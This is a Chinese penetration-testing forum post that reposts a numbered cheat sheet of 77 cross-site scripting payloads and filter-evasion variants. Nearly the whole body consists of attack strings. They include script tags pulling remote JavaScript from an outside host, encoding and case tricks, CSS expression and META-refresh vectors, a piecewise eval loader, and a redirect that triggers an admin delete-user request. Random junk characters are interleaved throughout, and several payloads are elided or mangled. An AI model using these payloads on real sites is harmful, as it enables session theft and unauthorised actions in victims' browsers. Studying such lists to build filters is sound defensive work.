中国网络渗透测试联盟
标题:
XSS攻击汇总
[打印本页]
作者:
admin
时间:
2013-4-19 19:22
标题:
XSS攻击汇总
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
' l( ^8 T0 b$ F2 [0 ]* b% ]
(1)普通的XSS JavaScript注入
' q4 P0 `9 S9 }% t! ]; F; F0 Y. r( }
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
5 a3 s# L1 I% N$ f
(2)IMG标签XSS使用JavaScript命令
* |5 D' B2 m: `6 m( } ?# Y3 k
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
) [$ o+ i/ }1 a. X) [6 e5 r
(3)IMG标签无分号无引号
% P. o/ g6 l! e0 u/ `7 L; Q
<IMG SRC=javascript:alert(‘XSS’)>
, @, p1 z) p; k3 Z. m1 G
(4)IMG标签大小写不敏感
- n0 e: ?+ }7 O$ h+ g
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
3 w$ }9 G2 E" a& }+ x( _( [
(5)HTML编码(必须有分号)
: P& y8 ]0 R; x6 m1 I, Y
<IMG SRC=javascript:alert(“XSS”)>
/ r& y% V f3 _8 x
(6)修正缺陷IMG标签
1 z6 B. {# n$ n, u1 }3 Z
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
: M" b. x3 E) y4 p9 e1 ~- q
( ^8 ^- B! \( h
4 o" [0 E6 b! T' W7 H
(7)formCharCode标签(计算器)
# I6 y- z8 E' K ]* T$ A$ Q5 |
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
0 B7 ]! ?# P- Q$ R: W/ m" ]
(8)UTF-8的Unicode编码(计算器)
* Y) ]; b6 z2 [1 H4 l) B
<IMG SRC=jav..省略..S')>
& y5 j% u6 f0 Z. m+ t0 M0 g
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
1 l, n: u% F+ i- E! \
<IMG SRC=jav..省略..S')>
. g$ B a3 ^! t$ A" E8 n: n& E* S8 K$ _$ Q
(10)十六进制编码也是没有分号(计算器)
6 `& S/ ~( X; t9 D( I& p
<IMG SRC=java..省略..XSS')>
$ v% z0 r" ?) g( P: |
(11)嵌入式标签,将Javascript分开
. m5 {$ O% G4 F' T
<IMG SRC=”jav ascript:alert(‘XSS’);”>
: r; }& n1 y5 u. D
(12)嵌入式编码标签,将Javascript分开
- Q8 y; N- K8 r1 L: \9 ]( W5 e0 j
<IMG SRC=”jav ascript:alert(‘XSS’);”>
' c% D/ A# {. v
(13)嵌入式换行符
& Y4 a. B5 w0 @
<IMG SRC=”jav ascript:alert(‘XSS’);”>
. \" D9 s9 o% n
(14)嵌入式回车
/ ]3 H, N' J# w( `' F
<IMG SRC=”jav ascript:alert(‘XSS’);”>
8 P* G7 l6 r0 g9 U+ C7 Q5 x
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
" P W# Q$ F$ `, ^5 K" L
<IMG SRC=”javascript:alert(‘XSS‘)”>
( g H1 |4 J* J6 k. \5 W4 C
(16)解决限制字符(要求同页面)
9 B( m$ m0 ~7 b& b& ^
<script>z=’document.’</script>
6 C7 `5 i( m8 D! Z& N
<script>z=z+’write(“‘</script>
9 V8 V; T, _$ i/ ?" K' `+ o, b- k: S
<script>z=z+’<script’</script>
1 O) ?* n9 K% _8 H+ ~
<script>z=z+’ src=ht’</script>
) o% P9 e3 | {' L9 A
<script>z=z+’tp://ww’</script>
, ]3 P4 S6 e* g. `" f" _) o
<script>z=z+’w.shell’</script>
! U! P& o; j! B# s8 `
<script>z=z+’.net/1.’</script>
1 `/ z& t9 H, W% Q7 w
<script>z=z+’js></sc’</script>
1 g0 _7 S" M) A* k3 ^
<script>z=z+’ript>”)’</script>
( Q4 L. A1 Z+ _9 T9 Y
<script>eval_r(z)</script>
* o3 U) b+ w. ~3 E3 o( a( k7 q
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
3 t7 z. A, o4 U! D
https://www.t00ls.net/viewthread ... table&tid=15267
2/6
7 B \. X8 G9 y) h# k
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
2 K0 D. c5 t( T# q. }2 L' H1 h. p
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
" `, v$ R3 U, [# {$ H
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
, P1 `- |. q) @/ p2 X( [7 U
(19)Spaces和meta前的IMG标签
# v8 ~) v) X7 `! ~
<IMG SRC=” javascript:alert(‘XSS’);”>
; w. ] ]/ P- M( y' ?+ Q, m
(20)Non-alpha-non-digit XSS
/ s6 Z( Q$ o! c, K
<SCRIPT/XSS SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
9 W8 A4 j2 z2 w( G* s7 L
(21)Non-alpha-non-digit XSS to 2
[' k8 A/ g! v: T) d0 P% r$ z3 J
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
+ I' m8 y$ m& b3 h# Z: W2 T
(22)Non-alpha-non-digit XSS to 3
1 Z/ Y' `, z% G" {1 |
<SCRIPT/SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
( U! D( r, p* j* D
(23)双开括号
' {# J; c: x% g% e, s |% Y/ b3 J/ _ v
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
2 A# {8 P3 q3 w g; z6 d U- t0 R' B
(24)无结束脚本标记(仅火狐等浏览器)
1 {" |( n/ L: `9 B0 m5 `
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
0 n$ C9 [# _* M; r5 C
(25)无结束脚本标记2
# {+ l* O" ~3 S; L$ X( ~& U" m0 b
<SCRIPT SRC=//3w.org/XSS/xss.js>
% H4 ?0 f i+ q# ^
(26)半开的HTML/JavaScript XSS
5 h+ A- ^ V0 J( Q* N6 N
<IMG SRC=”javascript:alert(‘XSS’)”
9 a) d1 x* G. ?( s( h0 B
(27)双开角括号
6 N/ m: b/ {0 o" F6 @- M% [
<iframe src=http://3w.org/XSS.html <
/ h" `6 t5 b) ]6 k" v
(28)无单引号 双引号 分号
" p9 ]2 f2 i) ]+ m( J
<SCRIPT>a=/XSS/
* {6 n- e( o1 g
alert(a.source)</SCRIPT>
# t7 N) X5 c3 S& t* _0 L
(29)换码过滤的JavaScript
: C7 t- |3 Y; H! k
\”;alert(‘XSS’);//
6 f! ]) R# i* H8 V: z) C
(30)结束Title标签
' I) W! x2 C2 C* d7 t! A, ~/ t+ C
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
- r) V2 e4 `2 Y
(31)Input Image
1 E; M) y7 C9 F9 O
<INPUT SRC=”javascript:alert(‘XSS’);”>
% z+ s: L( N0 t+ |
(32)BODY Image
! T, {* Z- b2 M" ^' W1 u
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
, ]7 D/ |& O9 E+ z8 Y
(33)BODY标签
' z0 H1 P& P4 O3 i. d% g/ u( [$ T
<BODY(‘XSS’)>
8 Q2 I) e2 t5 n: h6 u. A& ]
(34)IMG Dynsrc
- D, a, n7 `- |+ U8 W' G4 t
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
. C8 p. J0 ]1 Q9 S; q8 P
(35)IMG Lowsrc
& s2 X; O- Z+ Y% e- ?; b, c5 _2 b
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
# f5 ~" y* `# r8 x: z+ G3 a: @' i
(36)BGSOUND
- U* T+ w7 _9 r. s( r6 l
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
! u# l5 @ K$ D, z# X
(37)STYLE sheet
; _- r; h" l$ s% w7 s1 r
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
* r: h0 i" H T7 C" y m3 Q
(38)远程样式表
% r# X$ M' s# l+ d7 v7 O
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
; |7 f+ s/ T3 a0 s8 i5 m& a
(39)List-style-image(列表式)
2 t3 r9 \. o0 ]6 Z9 Y
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
( L+ _. M: E; U6 U. ]
(40)IMG VBscript
& r9 f5 _+ x0 i! ~+ I+ T
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
# J, s1 w2 c- _) m& ? s
(41)META链接url
. M, }/ o5 |5 i
2 g) v# Z6 ^8 e) i9 U
1 w0 U6 L; E( S4 n2 D& r
<META HTTP-EQUIV=”refresh” CONTENT=”0;
& `3 k2 L, p1 T/ F$ k8 M/ E* K
URL=http://;URL=javascript:alert(‘XSS’);”>
& t9 F( I' C2 J( |, Z: V1 P+ W
(42)Iframe
: L+ T" U! U" o
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
& P/ [7 z- [3 a7 R$ b" `3 z
(43)Frame
- J3 J0 h8 V6 y% R" ?! C2 [1 Z
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
8 _& |* g* o6 d. x- o6 {/ \6 P
https://www.t00ls.net/viewthread ... table&tid=15267
3/6
6 m$ k4 y- n) v: R4 l. f7 }9 [
(44)Table
# G" S, Q& {* p& p1 M i) u7 v
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
' ^2 H1 `3 o, }6 a. I+ G
(45)TD
3 J' s+ B+ V) [" f1 F1 a* b
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
c# s ?) O0 Y( O7 W( E
(46)DIV background-image
/ S- V9 y" F* z: C
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
3 H/ ^+ X. S: t# l6 U+ G
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
% H, w6 l# Y; N; C" t9 D U
8&13&12288&65279)
. z3 p6 n- c T# W* h0 n! Z( o
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
3 Z7 W9 r4 D# c! i# Q- O2 K' G0 v* a
(48)DIV expression
' t, p" s) L( N) x
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
5 L( h+ I1 e8 H. c% R( ^% E
(49)STYLE属性分拆表达
$ O5 Q3 e- A6 M: n, @) V k5 r& n
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
; Z; L6 y( U8 l( J
(50)匿名STYLE(组成:开角号和一个字母开头)
# }7 j) o0 u' J$ q6 V9 Q
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
: b9 G0 ~) y J; a& ^ K- P
(51)STYLE background-image
( k. c6 y+ f; U
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
5 o0 I d6 o) n3 v2 u
CLASS=XSS></A>
q s8 s' w3 @ \3 O2 Q/ \" f
(52)IMG STYLE方式
2 J! t4 n; b# g0 `2 j
exppression(alert(“XSS”))’>
0 r$ E; |( N0 s3 ]
(53)STYLE background
2 r5 ]: Q& J v; n& ~5 V: }2 _% c
<STYLE><STYLE
3 [ \) Q2 A9 f/ q) G: [/ S4 b
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
+ X k3 _* _0 r2 X" f% m
(54)BASE
+ O2 E4 H2 w" K
<BASE HREF=”javascript:alert(‘XSS’);//”>
/ L1 k! e4 p- [- ?$ r% C
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
. P6 Q1 K" d5 j# U
<EMBED SRC=”
http://3w.org/XSS/xss.swf
” ></EMBED>
( S2 I& S' H! }
(56)在flash中使用ActionScrpt可以混进你XSS的代码
5 I0 {/ L9 _7 `* }9 `# \, e5 m
a=”get”;
0 v; W% i% ~& w
b=”URL(\”";
) a8 E3 X/ M4 v# K; t) b5 c% n
c=”javascript:”;
( z7 B. u$ j6 v8 ?. B$ u0 l
d=”alert(‘XSS’);\”)”;
7 Z2 z: C/ Z c" Y' c% d7 _
eval_r(a+b+c+d);
! g4 I0 i# H! i4 A: U! r! ?. l
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
+ I) V# [3 O' ~( y- l6 Y
<HTML xmlns:xss>
7 Y/ t/ u3 l9 A2 H s6 R$ q
<?import namespace=”xss” implementation=”
http://3w.org/XSS/xss.htc
”>
0 u J: x9 a. r5 a! ^* A! q" N
<xss:xss>XSS</xss:xss>
0 e/ |9 t2 c9 X4 g) \
</HTML>
) J# |0 n% H" r, c4 o2 F; |
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
$ I$ K; t9 x! h. W
<SCRIPT SRC=””></SCRIPT>
! i! T# F x; \$ K0 o
(59)IMG嵌入式命令,可执行任意命令
2 H t) M1 I8 ^
<IMG SRC=”
http://www.XXX.com/a.php?a=b
”>
; \% w4 l6 ]$ M
(60)IMG嵌入式命令(a.jpg在同服务器)
" k) K8 c' a e" j
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
' M8 G$ o" j1 r/ D: l, L
(61)绕符号过滤
' K! t" \- j. [+ v/ b% t: h# s! I
<SCRIPT a=”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
. ]8 u: U+ r- s( F: p8 B
(62)
; u# j8 x9 _' P8 a7 f0 K4 [% E
<SCRIPT =”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
: o/ D. a7 U- a2 G
(63)
7 u3 A; S" Y$ K) L- Z( Q' i! c3 `
<SCRIPT a=”>” ” SRC=”
http://3w.org/xss.js
”></SCRIPT>
. w ~' a Y( R9 q0 o
(64)
# j$ a- N* M( l5 w
<SCRIPT “a=’>’” SRC=”
http://3w.org/xss.js
”></SCRIPT>
$ E) M9 u& [/ M$ ?; s; K0 |+ X. T
(65)
X* _7 R7 R1 N. R& s* b
<SCRIPT a=`>` SRC=”
http://3w.org/xss.js
”></SCRIPT>
0 @; O. Y0 z6 z2 Z5 j* A: m4 U
(66)12-7-1 T00LS - Powered by Discuz! Board
/ i7 m, S T K( r4 ~( F0 W
https://www.t00ls.net/viewthread ... table&tid=15267
4/6
. V6 y3 ^' g% A4 k3 E
<SCRIPT a=”>’>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
$ _0 T+ g7 m2 C: _: k2 B& h/ r. N! B% {# T
(67)
$ ~! H* m4 r: b& Z3 e$ o
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”
http://3w.org/xss.js
”>
5 d* a! p6 z0 R( @( ~# u
</SCRIPT>
* R& \$ t# B# d6 D' s3 Z
(68)URL绕行
L, s3 x6 D# H$ U7 b# e& h
<A HREF=”
http://127.0.0.1/
”>XSS</A>
& J' M. D: e9 w: Z7 H! C/ B+ K# ?! R, Y# {
(69)URL编码
9 l, C, o# O& L1 y, ]
<A HREF=”
http://3w.org
”>XSS</A>
2 }: p4 i% X. t9 ~! \
(70)IP十进制
) o1 g2 H6 [0 K. v
<A HREF=”http://3232235521″>XSS</A>
4 q5 D( o" O& M+ d
(71)IP十六进制
, |* c* D5 w, m- L3 m" G
<A HREF=”
http://0xc0.0xa8.0
×00.0×01″>XSS</A>
, @0 K/ N) a: e/ f2 Q5 e/ z
(72)IP八进制
4 Q3 Z, ]% `( U+ N' G
<A HREF=”
http://0300.0250.0000.0001
″>XSS</A>
* ^2 E5 g( G0 U& B8 E, u7 l
(73)混合编码
5 ~. X7 |, H4 _. |2 c. @" r
<A HREF=”h
& G, U" h V5 e( k2 a9 @, {
tt p://6 6.000146.0×7.147/”">XSS</A>
# d7 {9 B& |) k. a2 E$ R6 p1 z
(74)节省[http:]
* ?4 Y; h) Q6 S4 I! B" ?& q# a
<A HREF=”//www.google.com/”>XSS</A>
* y* K+ L; B, Z9 b$ O# Z+ P( H. ^
(75)节省[www]
& X A' }, M5 i4 B
<A HREF=”
http://google.com/
”>XSS</A>
R; C* t) w! d7 Y: g
(76)绝对点绝对DNS
! q$ c# [1 I; J. |8 v
<A HREF=”
http://www.google.com./
”>XSS</A>
2 g6 F7 _! r* o6 G! n
(77)javascript链接
- S% S, \1 b& w6 A: K: K! R
<A HREF=”javascript:document.location=’
http://www.google.com/
’”>XSS</A>
+ b" t7 j9 u7 R* x- {- T3 {+ y& K
7 a5 i0 c n! G: y9 r- k9 w
原文地址:
http://fuzzexp.org/u/0day/?p=14
$ ^- |1 h' u, A
0 G" D- n: ~: k ]2 e
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2